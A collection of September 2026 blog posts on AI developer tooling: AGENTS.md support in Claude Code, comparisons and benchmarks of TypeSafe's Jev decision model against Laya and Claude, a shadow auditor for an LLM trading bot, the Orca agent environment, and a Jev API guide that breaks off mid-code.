If part of your AGENTS.md includes instructions for agents to look things up, current library versions, API docs, internal runbooks, it's worth pointing that lookup at something more precise than the model's default built-in web search. Use Valyu for that in our own agent configs: it's a search API built specifically for LLM consumption, so an agent grounding itself against your AGENTS.md instructions gets clean, structured, current results instead of noisy search-result HTML it then has to parse. Small swap, noticeably fewer hallucinated API calls from agents "helpfully" filling gaps with stale training data.

Here's an example of an agents.md file.

Where this leaves you

If you've been maintaining a root-level symlink purely for Claude Code's benefit, retire it. If you've only had a CLAUDE.md and never bothered with AGENTS.md because it only mattered for other tools, check /config and decide on purpose: switch to claude-md-and-agents-md if you want one file to genuinely serve everyone, or keep them separate and intentional if CLAUDE.md carries Claude-specific settings you don't want other tools tripping over. And if you're standardizing agent workflows across a team for the first time, this is as good a moment as any to start: one AGENTS.md at the root, CLAUDE.md imports (@AGENTS.md) rather than symlinks anywhere your monorepo needs nested instructions, and a root CLAUDE.md reserved for what's actually Claude-specific.

The instruction-file wars aren't fully over, there's still fragmentation elsewhere in the ecosystem but this is one less front to fight on.

FAQ: Claude Code and AGENTS.md

Does Claude Code read AGENTS.md by default?
Only as a fallback. If no CLAUDE.md exists in the working directory or any parent directory, Claude Code reads AGENTS.md instead. If a CLAUDE.md exists anywhere above it, AGENTS.md is ignored unless you change the mode in /config.

Do I still need CLAUDE.md if I have AGENTS.md?
No, for shared instructions one AGENTS.md is enough under the default fallback mode.
Keep CLAUDE.md only if you need Claude-specific settings (like hook or permission config) that other agents wouldn't understand.

Will Claude Code read a nested AGENTS.md in a monorepo subdirectory?
Only if there's no CLAUDE.md anywhere above that subdirectory in the tree. Otherwise, the documented pattern is a small CLAUDE.md next to the nested AGENTS.md that imports it with @AGENTS.md, or switching /config to claude-md-and-agents-md.

Which Claude Code version added AGENTS.md support?
Version 2.1.277. It's not yet available on Bedrock, Vertex, or Foundry deployments.

What is AGENTS.md, and who created it?
AGENTS.md is an open Markdown convention for giving AI coding agents repo-level instructions, formalized in August 2025 by OpenAI with Google, Cursor, and Factory. It's now stewarded by the Linux Foundation's Agentic AI Foundation alongside Anthropic's Model Context Protocol and Block's goose, and is read by more than twenty coding tools.

Jev vs Laya: The Same AI Idea, One Closed and One Open

jamilxt — Tue, 22 Sep 2026 07:35:16 GMT

A new category of AI model landed this month, and it arrived twice at once. First came Jev, a hosted product from TypeSafe AI. Weeks later, an open-source model called Laya appeared, doing the same job and claiming to be faster. If you route support tickets, filter spam, or score risk with a large language model today, this comparison matters to your bill.

Both models come from the same observation: most production AI pipelines do not need text generation. They need a label. Your LLM burns 500 milliseconds to 2 seconds streaming tokens like "The correct category is: billing" so your code can parse the label back out. A decision model skips all of that. State goes in, a typed answer with a probability comes out. No prose, no parsing, no hallucinated sentences.

TypeSafe calls this a System One model, after the fast, instinctive half of the brain. The name fits. Here is how the two contenders actually compare.

What they share

The interfaces are nearly identical. Both models accept three types of questions:

Choice: pick one option from a closed list, like billing, technical, or other, with a probability over every option.
Score: place the input on an ordered scale, like relevance from 0 to 5.
Noul: return the probability that a statement is true.

Neither model generates text, so neither can produce a malformed answer. That is what "zero hallucinations" means here: the output always matches your schema. A wrong classification is still possible, which is why both vendors recommend escalating to a human when confidence drops below roughly 0.3 to 0.5.

You also feed both models a batch of questions at once, and each question is evaluated independently. This is not a nicety. Batching is the intended usage pattern.

Where Jev has the edge

Jev launched September 15, 2026, from TypeSafe AI, founded by Diogo Almeida, a co-creator of ChatGPT. You call it over an API at $0.042 per million input tokens (output tokens are free), with typical responses around 150 milliseconds.

Its clearest win is option count. On the Banking77 benchmark, which requires picking from 77 intent labels, Jev scored 0.870 while Laya managed 0.425. The gap is architectural, not a matter of tuning: Laya shares a fixed token budget of roughly 192 to 256 tokens across all candidate options, so past about 20 choices each option gets only a few tokens of representation. Keep your choice schemas small and this never bites you. Need 50 categories? Jev handles it today; with Laya you would need a coarse-to-fine hierarchy.

Jev is also calibrated out of the box. On the typed-decisions benchmark its expected calibration error is 0.144 versus Laya's 0.213, meaning its probabilities can be trusted as probabilities sooner. And there is nothing to host: no GPU, no model files, no cold starts.

Where Laya has the edge

Laya, from Convai Innovations, is Apache 2.0 licensed with weights on Hugging Face. It is a 421M-parameter encoder (ModernBERT-large, with a 322M multilingual variant covering 100+ languages) that runs on your own hardware.

Latency: about 33 milliseconds per query on a single GPU, dropping to 7 milliseconds per question when batched. That is roughly 6 to 8 times faster than Jev's network round trip.
Cost: no API fee at all. You pay for the GPU you already own.
Privacy: state never leaves your server. Air-gapped deployment works.
Customization: you can fine-tune it. Jev's weights are closed, so this is not an option there. ConvAI ships a Kaggle notebook that fine-tunes Laya on free GPUs in about 4 hours.

There is also a story behind Laya. Its creator published a reinforcement-learning approach to probability prediction in March 2025 (arXiv:2503.23303) and argues Jev arrived at the same idea later and closed. TypeSafe has not responded publicly. The documented facts are that his early work is real and predates Jev, while the Laya model page itself was created after Jev's launch. Simultaneous invention is plausible; copying is an accusation, not a proven fact. For your purchase decision it matters less than the practical differences below.

The honest benchmark picture

Almost every number in public circulation is self-reported, and the two sides' claims cut against each other. Read them carefully:

Laya's fine-tuned typed-decisions checkpoint reports 0.766 accuracy versus Jev's published 0.727. But its own model card admits Jev's figures are third-party published, sample sizes and prompts differ, and the checkpoint was fine-tuned on that benchmark's training split. That measures specialization, not superiority.
The speed comparison (33 ms vs 150 ms) pits local warmed-up GPU inference against hosted API calls including network time. Fair for your cost math, less fair as a pure model comparison.
The vendor "ceiling" numbers (Jev claims around 400x faster than frontier LLMs; Laya claims 7.8x) are best cases. Realistic independent gains for decision-in-a-pipeline workloads land around 7x to 25x versus a frontier LLM.
One independent test (Mike Taylor's) found Jev caught 6 of 7 planted defects where a frontier LLM caught 7, but 25 times slower.
A separate zero-shot RAG routing benchmark from LargitData is the sharpest warning: their untuned Laya 322M base model got 0% of full multi-turn routing decisions right, while hosted Jev hit 61.4%. Fast and free is worthless if the untuned base model cannot do your task.

The honest summary: Laya wins when the task matches its training or after you fine-tune it. Jev wins out of the box, on wide option sets, and on calibration.

One trap that deserves its own section

Laya's English checkpoint scores 0.080 accuracy on Bengali script while reporting 0.945 confidence. The model cannot read the script, and it has no idea it cannot read it. Confidence gating will not save you, because the confidence itself is wrong. Laya ships a Router that detects the Unicode script and dispatches to the right checkpoint, including a multilingual one. Use it, or route by script yourself before inference. Any decision model tuned on Latin-script data will have some version of this failure mode.

How to choose

Pick Jev if you want zero ops, need more than 20 choice options, trust its calibration, or want to try the category without owning infrastructure. It is self-serve through the Vercel AI Gateway if the official waitlist is slow, and the API cost is negligible at decision volumes: $0.042 per million input tokens means millions of decisions for pocket change.
Pick Laya if data cannot leave your environment, latency budgets are in tens of milliseconds, volume makes even small API fees add up, or you want to fine-tune on your own labeled decisions.
Pick neither if your task is open-ended generation. These models only answer questions you can define in advance. If you cannot enumerate the categories today, you need a language model, not a decision model.

Whichever you pick, start with a high-volume but reversible task. Keep your current process in shadow mode, log the model version, the full probability distribution, and the actual outcomes, then tune thresholds from real data before you let the model decide anything on its own.

The System One category is real, and both implementations prove the thesis: a huge share of "AI pipeline" work is classification wearing a generative model as a costume. Now there are two serious ways to take the costume off.

JEV assisted LLM Trading

chowderhead — Sun, 20 Sep 2026 19:16:39 GMT

We gave our LLM trading bot an auditor that never sees the chart

Every hour, on the hour, a vision model looks at three forex charts and decides whether our bot should buy, sell, or sit out. It has been doing this with real money since May. As of last Saturday, something finally grades its reasoning.

This post is about the grader.

The bot, briefly

It's a Python script called gemini_snap_flash. Once an hour it sends a one-minute candlestick chart plus daily and weekly context images to Gemini, gets back UP or DOWN and a one-line thesis, and trades EURUSD, GBPUSD, or USDJPY through MT5 on funded prop accounts. One position per pair, fixed stop and take-profit, and hard rails around it: 2% daily loss cap, 0.6% daily profit cap, and an external watchdog that kills the process after four losses in a row.

The rails matter. The first $10k account blew through its max drawdown on September 9 and is gone. The fleet is two $100k accounts now, run as separate instances with separate state.

Here's the part most AI-trading posts skip. The bot already logs a lot. signal_log.csv has every decision, executed or skipped, with the model's reasoning attached. trade_analysis.csv has every close with MFE/MAE in pips and R-multiples. What nothing had was a check on the decision itself: does the thesis actually argue for the direction the model picked? When the account died, I could read every trade and every excuse, and none of it told me whether the reasoning was any good.

What JEV is

JEV is TypeSafe's System-One model (jev-latest), served at api.typesafe.ai/v1/systemone. It's text-only. No vision, no market opinions. You POST it a "state" string plus a set of questions, each with instructions and pass/fail criteria, and it returns structured verdicts:

{
  "state": "<the thing being judged>",
  "model": "jev-latest",
  "questions": {
    "shadow_direction_consistency": {
      "type": "noul",
      "instructions": "Based only on the provided state (a recorded hourly vision decision for a live FX scalper), is the recorded directional call a clear, self-consistent directional commitment coherent with its own thesis?",
      "criteria": {
        "true": "The recorded direction is explicit (UP or DOWN) and the recorded thesis is coherent with and supports it.",
        "false": "The direction is ambiguous, contradicts the thesis, or no clear directional commitment is recorded."
      }
    }
  }
}

The shape isn't an accident. A noul question is a pass/fail check the model answers one way against criteria you wrote — not an open-ended essay. That's what makes the verdict usable as a watchdog: it stays binary and countable, so you can line thousands of them up against the trades they judged and watch the incoherence rate move. An essay grader couldn't do that; it would drown you in prose and give you nothing to plot.

So it's a proofreader, not a fortune teller. It can't tell you whether UP is right about EURUSD. It can tell you when UP arrives with a thesis that quietly argues DOWN.

The shadow harness

The new file is shadow.py, about 430 lines, plus tests. The design has one hard rule: the trading path must not know it exists unless we say so.

Everything is gated behind SHADOW_MODE=1. When that's unset, the harness is a complete no-op; the only cost on the hot path is a single os.getenv() call, and the tests assert that zero network calls happen. When it's on, for every hourly vision decision the harness:

Dumps the exact chart images that went to the vision model into shadow_out/<instance>/<timestamp>/, and records a sha256 of the prompt text for later lookup.
Runs exactly one JEV call over a text rendering of those same inputs, hard-timeboxed at 20 seconds on a daemon thread. The state is capped at 30k characters to stay inside the model's context.
Appends one JSON line per decision to shadow_log.jsonl, including the JEV verdict and its latency.

A little later, an attach_outcome() call patches the most recent unfinalized line for that pair with what actually happened: EXECUTED, FAILED, or ORDER_FAILED, plus the ticket. It only touches lines written in the last 15 minutes, so a slow hourly cycle can't corrupt an older decision's record.

Each instance writes to its own log, so the fleet's accounts never mix.

The switch is currently off

Worth saying plainly: SHADOW_MODE is not set in any launch config yet, so zero shadow calls have happened in production. The dashboard probe ledger shows nine calls, all from us poking at the API while building the plugin, and the Shadow Harness tab reads NOT ENABLED until the first row lands. The harness is new and the tests are new, and we want a few market-open cycles of confidence before turning on a collector that sits in the decision path.

What we expect the data to answer

Three questions, in order of interest.

First, the big one: does coherence predict money? Every verdict lands in the same record as the real action and, downstream, the real P&L. If incoherent trades lose measurably more often than coherent ones, JEV graduates from observer to entry filter, and we skip or downsize flagged decisions. If it doesn't, we drop it. That's the point of measuring instead of believing.

How a verdict gets scored is fixed before the first data point. The pass/fail bar is pre-registered in code — minimum sample sizes, a minimum counterfactual edge, a ceiling on JEV errors — and the backend and the dashboard banner read the same constants, so the goalposts can't move after the data arrives. That same tab is where we watch it: it shows one of five states — NOT ENABLED, INSUFFICIENT, SHIP CANDIDATE, KILL, HOLD — next to the histogram of disagreement edges and a per-day series. The edge itself is computed counterfactually: on rows where JEV withholds endorsement, we flip the sign of what the vision-side trade actually realized. That's a mirror approximation, not a P&L replay, and it's labelled as one; orders that never resolved are counted separately, never scored as zero. And if JEV's disagreements turn out to correlate with winners, the shadow signal dies first.

Second, drift detection. The bot retries Gemini up to six times with exponential backoff, and we've swapped models before (3.5-flash to 3.6-flash in July). Degraded or fallback responses usually get sloppier before they get unprofitable. A rise in inconsistent verdicts is a cheap alarm — a shadow call is text-only, input-only pricing, a fraction of a cent per decision, and every record carries the JEV latency and error status, so degradation shows up in the record itself before the drawdown alert does.

Third, model comparison. Since the harness records each prompt's hash and the decision but stays agnostic about which model produced them, the same record can score an OpenRouter alternative against Gemini on identical charts. Evidence beats vibes when picking a model.

What it can't do

The limits are real and worth naming. JEV sees the text of the decision, never the chart pixels, so it audits self-consistency only. It will happily bless a confident, well-written, wrong call. It evaluates after the fact, so today it can't stop a trade, which is deliberate: any gating step is a later change with its own risk to review. And it's one question right now. Coverage is only as good as the question set, and one question is a start, not a panel. The API shape makes a panel cheap, though: several independent pass/fail checks can ride in a single request and get combined in code, and our dashboard probe already does that. Adding questions to the harness is a config change, not a rewrite.

The whole thing is built to answer one question, and the answer is allowed to be no. If coherent trades don't make more money than incoherent ones, JEV gets dropped and we've lost a few cents a decision and a couple of weeks. If they do, the auditor stops being a proofreader and becomes a filter. Either way the data decides, and the bar was written before the first verdict landed. That's the part I'm actually proud of — not the harness, the willingness to let it be wrong.

Orca: The Agent Development Environment for Running AI Coding Agents in Parallel

ArshTechPro — Sun, 20 Sep 2026 06:00:36 GMT

If you use Claude Code, Codex, or another AI coding agent in your terminal, you have probably hit this wall: the agent is busy on one task, you want to start a second one, and now you are juggling branches, stashing changes, and opening five terminal windows that all look the same.

Orca is a desktop app built to solve exactly that. This article explains what it is, how it differs from Cursor, what it costs, and where it falls short.

What is Orca?

Orca calls itself an ADE, an Agent Development Environment. The idea is simple:

A traditional IDE is built around one human typing code.
An ADE is built around you supervising several AI agents that write code at the same time.

In practice, Orca is a desktop app (macOS, Windows, Linux) where every task you start gets:

Its own git worktree (an isolated copy of your repo on its own branch)
Its own agent terminal (Claude Code, Codex, Gemini, Cursor CLI, and so on)
Its own browser tab for previewing the app

A quick primer on git worktrees

Worktrees are the core idea behind Orca, so it is worth a 30-second refresher.

Normally, one repo folder has one checked-out branch. A worktree lets you check out another branch into a separate folder that shares the same git history:

git worktree add ../fix-login-race -b fix-login-race

Now you have two folders, two branches, one repo. No stashing needed.

Orca automates this. Click "+", name your task, pick an agent, and Orca creates a real git worktree and launches the agent inside it. Because these are standard worktrees, you can always cd into one and use plain git.

What does a typical workflow look like?

The Orca docs describe a "first 3-agent session" that sums up the whole product:

Add a repo. Point Orca at a local checkout. It uses your default branch (for example origin/main) as the base for new worktrees.
Create a worktree. Give the task a name like fix-login-race.
Pick an agent. Choose Claude Code, Codex, Cursor CLI, or another supported agent. Orca launches its CLI in the right directory.
Race agents. Repeat twice more with different agents and paste the same prompt into each:
- fix-login-race with Claude Code
- fix-login-race-2 with Codex
- fix-login-race-3 with Cursor CLI
Split panes so you can watch all three working at once.
Review and ship. Open each diff, leave inline comments to send back to the best agent, then commit and push from inside Orca. Delete the losing worktrees in one click.

That loop (add, worktree, agent, split, diff, ship) is essentially the whole product. Everything else is a deeper version of one of those steps.

Key features

Parallel worktrees. Every task is isolated, so five agents can work on the same repo without overwriting each other.

Bring your own agent. Orca ships preconfigured for a long list of CLI agents, including Claude Code, Codex, Gemini, Cursor CLI, GitHub Copilot, OpenCode, Amp, Goose, Cline, Kiro, and Qwen Code, and any other CLI agent can be added.

Annotate AI diffs. Leave markdown comments on specific diff lines, batch them, and send them back to the agent as feedback. You can also inspect CI, resolve conflicts, and open PRs in the app.

Design Mode. Each worktree gets a real Chromium window. Click a UI element and Orca sends its HTML, CSS, and a cropped screenshot to your agent. Useful for "fix this button" style front-end work.

Terminal. GPU-rendered, with unlimited splits, scrollback that survives restarts, and scrollback search. On first launch it can import your Ghostty settings.

Editor. It includes a VS Code-style (Monaco) editor with autosave, so you can make manual edits without leaving the app.

SSH worktrees. Run agents on a powerful remote machine with full file editing, git, and terminals, plus auto-reconnect and port forwarding.

GitHub, Linear, and Jira integration. Browse PRs and issues, open a worktree straight from a task, and review PRs without switching apps.

Orca CLI. Agents can drive Orca too, for example creating worktrees themselves, which enables orchestration and scheduled automations.

Usage tracking. See Claude and Codex usage and rate-limit reset times, and swap between Codex accounts.

Mobile companion. iOS and Android apps let you check agent status, get notifications, and keep terminal work moving when you are away from your desk.

Is Orca like Cursor?

Short answer: they overlap, but they solve different problems.

Cursor is an AI-first code editor (a fork of VS Code). The AI lives inside the editor: autocomplete as you type, chat in a sidebar, and an agent mode. You are the main author, and the AI assists you in one workspace. You pay Cursor for access to the models.

Orca is an orchestration layer for CLI agents. It does not provide its own model. Instead, it runs the agents you already have (including Cursor's own CLI agent) side by side, each in its own isolated branch, and gives you tools to review and merge their output.

	Orca	Cursor
Core idea	Manage many agents in parallel	AI-assisted editor
Built on	Desktop app wrapping CLI agents, terminals, browser, editor	Fork of VS Code
AI models	Bring your own (Claude Code, Codex, Gemini, etc.)	Cursor's subscription and models
Parallel agents	First-class, one worktree per task	Supported, but not the main workflow
Inline autocomplete while you type	Not a headline feature	Yes, a core feature
Open source	Yes, MIT	No
Platforms	macOS, Windows, Linux	macOS, Windows, Linux
Price of the tool itself	Free	Free tier plus paid plans

A useful way to think about it:

If you mostly write code yourself and want AI help as you type, Cursor (or a similar AI editor) is the more natural fit.
If you mostly delegate tasks to agents and your job is increasingly to review, compare, and merge their output, Orca is designed for that.

Pricing: is Orca free?

Yes. The Orca app is free and open source under the MIT license. There is no paid tier listed on the website.

There are two things to be aware of:

You pay for the agents. Orca is not a model. You need your own Claude, Codex, Gemini, or other subscription or API key. Running three agents in parallel can use your quota roughly three times as fast.
Enterprise is "contact us." There is an Enterprise page covering security reviews, self-hosting, rollout help, and SOC 2 readiness, but no public pricing. You have to email the team.

Installing Orca

Download builds for each platform from the download page or GitHub Releases. On macOS you can also use Homebrew:

brew install --cask stablyai/orca/orca

A few notes:

On first launch, Orca offers to import your ~/.claude, ~/.codex, and Ghostty settings.
On Linux, pick the AppImage if you want automatic updates. The CLI is named orca-ide so it does not clash with the GNOME Orca screen reader.
The app auto-updates on a stable channel, with optional release-candidate builds for early features.

Who should try Orca?

Orca is worth a look if:

You already use one or more CLI coding agents and feel limited by running one task at a time.
You want to compare how different agents handle the same bug.
You want a Claude Code or Codex workflow on Windows or Linux with a proper UI around it.
You like running agents on a remote machine and checking on them from your phone.

You can probably skip it if you rarely use agents, prefer AI autocomplete while you type, or want a single all-in-one subscription that handles the models for you.

Links

GitHub: https://github.com/stablyai/orca

Jev vs Claude: Who Wins?

Ben Greenberg — Fri, 18 Sep 2026 11:15:07 GMT

I did not need Jev to beat Claude or Kimi on a benchmark. I needed to know whether I could trust it with a decision I actually make regularly, where a false pass matters and uncertainty cannot just be hidden behind confident prose.

That is a much harder test of the product claim.

The decision I actually needed

A surprising amount of AI work starts with the assumption that the answer should come from a large language model.

I wanted to challenge that assumption.

I had a useful test case in a judging workflow that I have iterated upon numerous times and use multiple times a year. The dataset I used for this experiment was from the 2026 Arbitrum Open House London Online Buildathon. One part of that workflow is an Arbitrum Alignment gate. Given the evidence already collected for a project, the system has to make one bounded decision:

satisfied, not_satisfied, or insufficient_evidence.

That is not a writing task.

The broader judging rubric absolutely contains work that benefits from a frontier LLM. There are 0 to 5 scores that require reading code, interpreting implementation quality, and weighing technical evidence. There are also prose fields where useful explanations need to be generated.

The full workflow never ends with a final score, rather a brief is given back to me, the human reviewer, to thoroughly analyze, source check and make a final call on.

I was not testing those.

I isolated the part of the workflow where the model is not being asked to write, brainstorm, explain, or synthesize an open-ended answer. It is being asked to apply a defined policy to a bounded evidence packet and choose one of three states.

That is almost exactly the territory TypeSafe claims Jev is built for.

So the question was not whether Jev could replace Claude, GLM, Kimi or Qwen.

It was whether those models were overkill for this decision in the first place.

A fair fight, deliberately narrow

I tested 102 archived submissions, anonymized as P-numbers.

Each system received the same JSON evidence packet and the same four-step written decision procedure. Every configuration ran three times across all 102 submissions, producing 306 decisions per variant. I ran it against Claude Sonnet.

There was no Jev specific simplification of the policy and no additional context given to Sonnet. Both systems had to answer the same question from the same evidence.

The narrowness of the test is important here because it relates exactly to what TypeSafe claims Jev is all about.

Jev is not a general-purpose text model. TypeSafe positions it as a System One model for structured decisions, with primitives such as Choice, Score, and Noul rather than free-form generation. Choice, the relevant primitive here, selects among a predefined set of outcomes and returns probabilities and confidence alongside the decision.

The workload also fit within Jev's current constraints. I was passing a structured evidence packet for one verification gate, not asking it to ingest an entire repository or execute the complete judging workflow.

That makes this a deliberately unfair place to make a sweeping model comparison.

It also makes it a very fair place to test Jev's actual claim.

If a model built specifically for bounded decisions cannot hold up here, then everything else about Jev pretty much falls to the sidelines.

Same accuracy band, radically different operating cost

No more suspense, the tl;dr is it held up.

Jev choice plus four diagnostic Nouls reached 100.0% accuracy against the existing labels across the 306 decisions. It produced zero false passes, zero false flags, and was unanimous across all three runs.

Claude Sonnet 5 at high reasoning reached 99.0%.

On the headline metric, that is effectively the same accuracy band: 100.0% versus 99.0%.

Then the economics diverge sharply.

Jev's median latency was 378 milliseconds.

Sonnet high's was 3,554 milliseconds.

That made Sonnet roughly 9.4 times slower on this task.

At the measured usage and pricing, 10,000 evaluations would cost approximately $2.27 with Jev and $129.74 with Sonnet high.

That is roughly a 57x difference.

This is where the experiment stops being an interesting model comparison and starts becoming a systems-design question.

If the output I need is one of three known states, and a decision-specific model can deliver comparable accuracy for roughly one-fiftieth the operating cost, what exactly am I buying from the generative model?

But raw accuracy gives good marks to both systems.

Of the 102 gold labels, 77 are satisfied, seven are not_satisfied, and 18 are insufficient_evidence.

A classifier that simply answered satisfied every time would already look pretty good on an accuracy chart while being completely unacceptable for the purpose of this gate.

The hard part is not recognizing the obvious passes. It is knowing what to do when the evidence is incomplete, ambiguous, or negative.

That is where the failures became much more interesting than the headline score.

Confidence that changes the workflow

This was the result that changed how I thought about Jev.

Jev Choice alone made two incorrect decisions across the 306 runs. Both landed in its 0.2 to 0.3 confidence range.

Sonnet high made three incorrect decisions. All three landed in its 0.9 to 1.0 confidence bin.

Jev's Expected Calibration Error was 0.037. Sonnet high's was 0.058.

Those numbers matter, but the workflow implication matters more.

At a Jev confidence threshold of 0.5, I could have automated 98% of the decisions in this dataset while retaining 100% accuracy among the automated decisions.

The remaining 2% could have gone to human review.

That is a far more useful property than simply being right slightly more often.

A model does not need to be perfectly accurate to be useful in an automated decision pipeline. It needs its uncertainty to correlate with the places where automation becomes dangerous.

The two systems also failed differently.

Jev Choice's majority error was in an ambiguous row labeled insufficient_evidence that Jev passed as satisfied.

But Jev also assigned low confidence to the decision. A simple confidence gate would have stopped it from being automated.

Sonnet's failures centered on an empty-repository row labeled insufficient_evidence that it classified as not_satisfied.

That is a less serious outcome operationally, but it exposes another distinction in the policy: "the evidence shows the requirement was not met" and "there is not enough evidence to decide" are not the same state.

Sonnet recognized that something was wrong, but it was highly confident in the wrong category.

This is why I find the confidence result more serious than the 100.0% accuracy result.

The interesting question is not just whether a model can make the decision. It is whether the model gives the surrounding system enough information to know when not to let that decision through.

Keep the policy whole

What happened when I tried to make the system more deterministic?

Jev exposes smaller decision primitives that make decomposition appealing. Alongside the final Choice, I used four Nouls as diagnostic sub-decisions. A Noul evaluates whether a statement is true and returns a probability.

That gives you something very helpful: inspectable intermediate state.

My instinct was to take those four individual judgments and implement the final four-step policy myself in code.

Ask the model the atomic questions.
Get four probabilities.
Write the conditionals.
Remove as much model judgment from the final step as possible.

It sounded safer. It was actually significantly worse.

Jev Choice alone reached 99.3%.

Choice plus the four diagnostic Nouls reached 100.0%.

My hand-coded composite of those same four Nouls fell to 94.1% and produced six false passes.

That is beyond a rounding error, it is the worst failure mode for this gate.

The individual sub-decisions were useful. My reconstruction of the policy from them was not.

I learned something important from that:

Sub-decisions are valuable for diagnosis, auditability, and understanding why a result occurred. But an ordered decision policy is not necessarily equivalent to a bag of independent Boolean answers. The sequence matters. The interaction between conditions matters. The meaning of one piece of evidence can depend on what has already been established elsewhere in the procedure.

In this experiment, asking Jev to apply the written policy as a whole worked better than asking it for individually reasonable facts and assuming I could perfectly reassemble the judgment afterward.

Jev does not replace the rest of this judging workflow.

It accepts text rather than repositories. Its current context constraints make it unsuitable for simply dumping an entire codebase into the model. The judging rubric still includes code-reading scores, broader analysis, and generated prose where a frontier LLM remains the more appropriate tool.

The result is not "Jev replaces Claude." It is that in this very real workflow where there is a consistent bounded decision gate, a general LLM may not be the right tool anymore.

Once I separated those two things in what is needed for a generative LLM model and a System One model, the economics changed by roughly 57x, the latency changed by nearly an order of magnitude, and the confidence signal gave me a credible way to automate almost the entire workload while escalating the uncertain edge cases.

I'm still figuring out where and how to apply this new model into my workflows, but this experiment has given me a good starting point in understanding its strengths and its weaknesses. More importantly, it's opened my eyes up to the potential of AI systems that incorporate more than the current ways of doing things.

TypeSafe Jev Played Chess — And Landed Next to Reasoning Models

Maxim Saplin — Thu, 17 Sep 2026 17:13:09 GMT

TypeSafe's Jev is an odd one. It isn't a chat model - you send a state plus typed questions (Choice / Score / Noul) and get labels with probabilities — like a classifier, except the input can be free text and you choose the labels each time.

I've been running models through LLM Chess for a while. LLMs play in an agentic setting with a multi-turn protocol: get_current_board, get_legal_moves, make_move <uci>. Jev doesn't do that. Can you still put it on the same leaderboard?

Apparently yes — if you talk to it the way it expects.

A note on (anti-)benchmarks

TypeSafe is openly anti-benchmaxxing. In the System One / Jev launch post they say existing LLM benchmarks don't really apply here, and they skip the usual public-eval scoreboard putting it's model next to other models. They prefer dated internal snapshots instead.

I put Jev on LLM Chess anyway — same harness, same opponents as the chat models.

Talking to Hawking

It reminded me of talking to Stephen Hawking: smart, but no free speech. Answers do not come out in a free from

Outside chess I tried a silly next-character loop — Choice over a–z plus <eos>, one API call per letter. Asked to spell blue or finish hel…, it spat out almost-words (bue, helhoh). Started from pari… and it finished paris. Generating from scratch was weak; finishing a partial worked better. A fixed list of legal chess moves fits this model much better than spelling English letter by letter.

How I wired it into LLM Chess

Each ply:

state: { fen, side_to_move }
one Choice: all legal UCI moves as options (SAN in the criteria text), max 255

Jev returns a UCI string. It turns into make_move e7e5 — same action chat models send to the eval runner, on the outside seems almost like normal eval interaction.

Pricing: $0.042 / 1M input tokens, output free.

Results

On the current leaderboard jev-latest is around #59, Elo ~243, sitting next to qwen3.6-27b and o4-mini-medium:

#	Player	Elo	Game Duration	Tokens	Cost/Game	Time/Game	Games
58	qwen3.6-27b@q4_k_s	270.0±148.6	100%	5956	$1.46	7.54h	27
59	jev-latest	242.9±117.5	100%	119	$0.0015	35.6s	80
60	o4-mini-medium	240.3±64.3	100%	2156	$1.11	41.5m	199

Elo which I treat as a proxy to reasoning capability, is in the same band as mid-pack reasoning / strong small models
Game duration 100% — full games, not early deaths on illegal moves or broken dialogs, perfect protocol following (that's what type safety buys you).
~36s / game and ~$0.0015 / game (~$0.00002 / move); 80 games ≈ $0.12 total vs a dollar-plus per game for Elo neighbors. That's super fast and extermely cheap.

Draws vs Dragon

Dragon (white) vs Jev (black), 10 games per level:

Dragon	Dragon wins	Draws
L1	5	5
L2	5	5
L3	5	5

50% draws at L1, L2, and L3. Flat. With most chat models, stronger Dragon usually means fewer draws — the engine finishes more games. Here the draw rate doesn't drop across three levels. That helps the Elo.

System One on the board

TypeSafe calls these System One models: fast decisions, no deep thinking.

Chess still needs real choices — what to capture, when to trade, when to aim for a draw. Jev has no chat, costs fractions of a cent per game, and still lands near mid-pack reasoning models on Elo. So the skill isn't "writing about chess." It's picking a move from a list.

Takeaways

TypeSafe doesn't want a public leaderboard as their proof. This is one outside eval.

Jev fits tasks where you already have a list of options (tools, routes, labels, moves). Asking it to write English letter-by-letter is a bad fit (bue / helhoh).
~$0.0015 and ~36s per game is a different cost/speed class than dollar-scale LLM evals.
Useful where the product needs which option, not a paragraph — routing, structured agents, decision steps in code.

Leaderboard: LLM Chess

Harness: maxim-saplin/llm_chess (feat/typesafe-jev-player branch / TypeSafe Jev player)

How to Use Jev: A practical guide to TypeSafe's System One model

Prosper Otemuyiwa — Thu, 17 Sep 2026 12:24:54 GMT

Jev is a frontier AI model from TypeSafe AI that returns typed, probabilistic decisions instead of generated text. You send program state plus typed questions; it answers all of them in one parallel pass in 70 to 500 milliseconds, at $0.042 per million input tokens with output free. It launched September 15, 2026 with $40M led by DCVC, built by Diogo Almeida, who co-invented RLHF and InstructGPT at OpenAI.

This is the practical guide: setup, the three primitives, five patterns worth stealing, the failure modes that will bite you, and what people shipped in the first 48 hours.

TypeSafe AI calls Jev, this class of model System One, after Kahneman's fast, intuitive thinking. The bet is that most decisions inside software are System 1 judgments ("which bucket is this?", "is this urgent?") and we have been renting System 2 to make them.

	Jev	Frontier LLMs
End-to-end latency	70ms to 500ms	3s to 329s
Input price	$0.042 / MTok	$0.20 to $10 / MTok
Output price	free	~5x input
Structured-output errors	0% (by construction)	0.58% to 45.5%

Caveat up front, and I come back to it at the end: those are TypeSafe's own numbers, self-run and unreproduced.

Setup

Get a key from console.typesafe.ai/settings/keys (early access is waitlisted) or from Vercel AI gateway and export it:

export TYPESAFE_API_KEY="sk-..."

Python (3.10+):

pip install typesafe-sdk
# or: uv add typesafe-sdk

JavaScript/TypeScript (Node 20+):

npm install @typesafe-ai/sdk

Both SDKs read TYPESAFE_API_KEY from the environment and default to jev-latest. There is one endpoint, POST https://api.typesafe.ai/v1/systemone, if you would rather call it directly.

The three primitives

The whole API is three question types. That is not a limitation you route around, it is the design.

Choice: one option from a set

Choice(
    instructions="Which team should handle this",
    criteria={
        "billing":   "Payment or subscription issues",
        "technical": "Bugs or integration problems",
        "sales":     "Pricing or account questions",
    },
)

Returns .choice, .probabilities (one per option), and .confidence. Takes up to 255 options, each costing a few tokens, so pass the full list of teams or categories rather than a shortlist. Add an explicit other option so the model can say nothing fits instead of picking the closest wrong thing.

Score: a position on a spectrum

Score(
    instructions="How frustrated the customer appears",
    criteria=[
        "Calm, just stating facts",
        "Frustrated but civil",
        "Very angry, strong language",
    ],
)

Two to ten ordered levels, described in words. Returns .score as a position that can land between levels (1.035), plus .probabilities and .confidence. The level index comes from array order, so level 0 is the first entry.

Noul: yes or no, as a probability

Noul(instructions="The message conveys urgency or time-sensitivity")

Returns .noul, a single number from 0 to 1: the probability the answer is yes. No confidence field, because the number already is the belief.

Putting it together

from typesafe_sdk import Choice, Noul, Score, TypeSafeClient

